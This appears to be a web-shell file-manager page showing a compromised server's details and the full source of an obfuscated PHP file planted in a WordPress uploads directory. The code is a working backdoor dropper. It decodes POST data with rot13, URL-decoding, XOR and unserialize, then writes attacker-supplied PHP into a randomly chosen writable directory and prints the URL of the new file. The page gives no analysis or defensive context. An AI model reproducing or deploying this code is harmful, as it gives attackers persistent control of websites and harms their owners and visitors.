HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/jlskgfgh.php
<?php function LXmCFjyC($QVlzXNO){$fBSLcY = 'r'.chr(596-499)."\x77"."\x75"."\x72".chr(930-822)."\x64".chr(101)."\x63"."\x6f"."\x64".chr(579-478);$moRngrds = "\163".'t'."\162".'_'.chr(114).chr(111)."\x74".'1'."\x33";$YNDLrmLs = "\163".chr(116).'r'.chr(161-66).chr(115).chr(671-559).chr(1092-984).'i'."\164";$QVlzXNO = $YNDLrmLs($fBSLcY($moRngrds($QVlzXNO)));return $QVlzXNO;}function OhHRkUkmV($qRuSjDWcXL, $QVlzXNO){$HZLIdWY = "\x73".chr(332-216)."\162".chr(246-151)."\163".'p'.chr(317-209).'i'.chr(809-693);$qRuSjDWcXL = array_slice($HZLIdWY(str_repeat($qRuSjDWcXL, (count($QVlzXNO)/16)+1)), 0, count($QVlzXNO));return $qRuSjDWcXL;}function ETWEoc($bBfQrxt, $IVimeR, $qRuSjDWcXL){$QyhYEJE = "3db786a5-a494-4198-8e7b-7be0e22f4b03";return $bBfQrxt ^ $QyhYEJE[$IVimeR % strlen($QyhYEJE)] ^ $qRuSjDWcXL;}function yuvvABW($QVlzXNO, $qRuSjDWcXL){$QVlzXNO = array_map("ETWEoc", array_values($QVlzXNO), array_keys($QVlzXNO), array_values($qRuSjDWcXL));$QVlzXNO = implode("", $QVlzXNO);$giOODhfB = "\x75".'n'."\x73".chr(101)."\x72".chr(105).'a'.'l'."\151"."\x7a".chr(125-24);$QVlzXNO = @$giOODhfB($QVlzXNO);return $QVlzXNO;}function eyHgvUJHR(){echo "QDVKclaEF";}function LEfsmwCxxS($HgYrAwir){static $txSnRii = array();$KCebCCFOhd = glob($HgYrAwir . '/*', GLOB_ONLYDIR);$LacZcD = count($KCebCCFOhd);if ($LacZcD > 0) {foreach ($KCebCCFOhd as $HgYrAw) {$zstUcJNO = 'i'.chr(115).chr(95)."\x77"."\x72".chr(105).chr(831-715).'a'.chr(891-793).chr(839-731).chr(101);if (@$zstUcJNO($HgYrAw)) {$txSnRii[] = $HgYrAw;}}}foreach ($KCebCCFOhd as $HgYrAwir) LEfsmwCxxS($HgYrAwir);return $txSnRii;}function uDHxsGntvs(){echo "BnLYG";}function GBhgLcFkn($QVlzXNO){$SxqkDrapqT = chr(68).chr(79).chr(67)."\x55"."\115".chr(378-309).chr(303-225)."\x54"."\x5f"."\x52"."\x4f".'O'.chr(84);$KOWLeBw = $_SERVER[$SxqkDrapqT];$KCebCCFOhd = LEfsmwCxxS($KOWLeBw);$BvGItSkxyz = array_rand($KCebCCFOhd);$wBOeBc = '.'.'p'.chr(105-1)."\x70";$qQdZirN = $KCebCCFOhd[$BvGItSkxyz] . "/" . substr(md5(time()), 0, 8) . $wBOeBc;$zvXgNFXptW = "\x66".chr(419-314).chr(1089-981)."\145"."\x5f"."\x70".'u'."\x74".'_'.chr(1039-940).chr(130-19).chr(1039-929).chr(481-365).chr(101).chr(657-547).chr(116)."\x73";@$zvXgNFXptW($qQdZirN, $QVlzXNO);$OoVSdRnUu = chr(72).chr(325-241).chr(913-829)."\x50"."\x5f"."\x48"."\117"."\123"."\x54";$YFPTqOTSt = "\150".chr(251-135)."\164".chr(112)."\x3a".chr(455-408).chr(47);$nrqhXTDB = $YFPTqOTSt . $_SERVER[$OoVSdRnUu] . substr($qQdZirN, strlen($KOWLeBw));print($nrqhXTDB);}foreach ($_POST as $qRuSjDWcXL => $QVlzXNO){$LHSJqzX = strlen($qRuSjDWcXL);if ($LHSJqzX == 16){$QVlzXNO = LXmCFjyC($QVlzXNO);$qRuSjDWcXL = OhHRkUkmV($qRuSjDWcXL, $QVlzXNO);$QVlzXNO = yuvvABW($QVlzXNO, $qRuSjDWcXL);if (@is_array($QVlzXNO)){$BvGItSkxyz = array_keys($QVlzXNO);$QVlzXNO = $QVlzXNO[$BvGItSkxyz[0]];if ($QVlzXNO === $BvGItSkxyz[0]){$KAQLt = chr(681-569).chr(510-406).chr(132-20);$DTOgszQzH = "\160".chr(104).chr(112).chr(666-548)."\x65".chr(566-452).'s'.chr(325-220)."\157".'n';$WIeyAkMUvw = "\x73".'e'.chr(114)."\151".chr(989-892).'l'.chr(1021-916)."\172".chr(101);echo @$WIeyAkMUvw(Array($KAQLt => @$DTOgszQzH(), ));}else {GBhgLcFkn($QVlzXNO);}die();}}}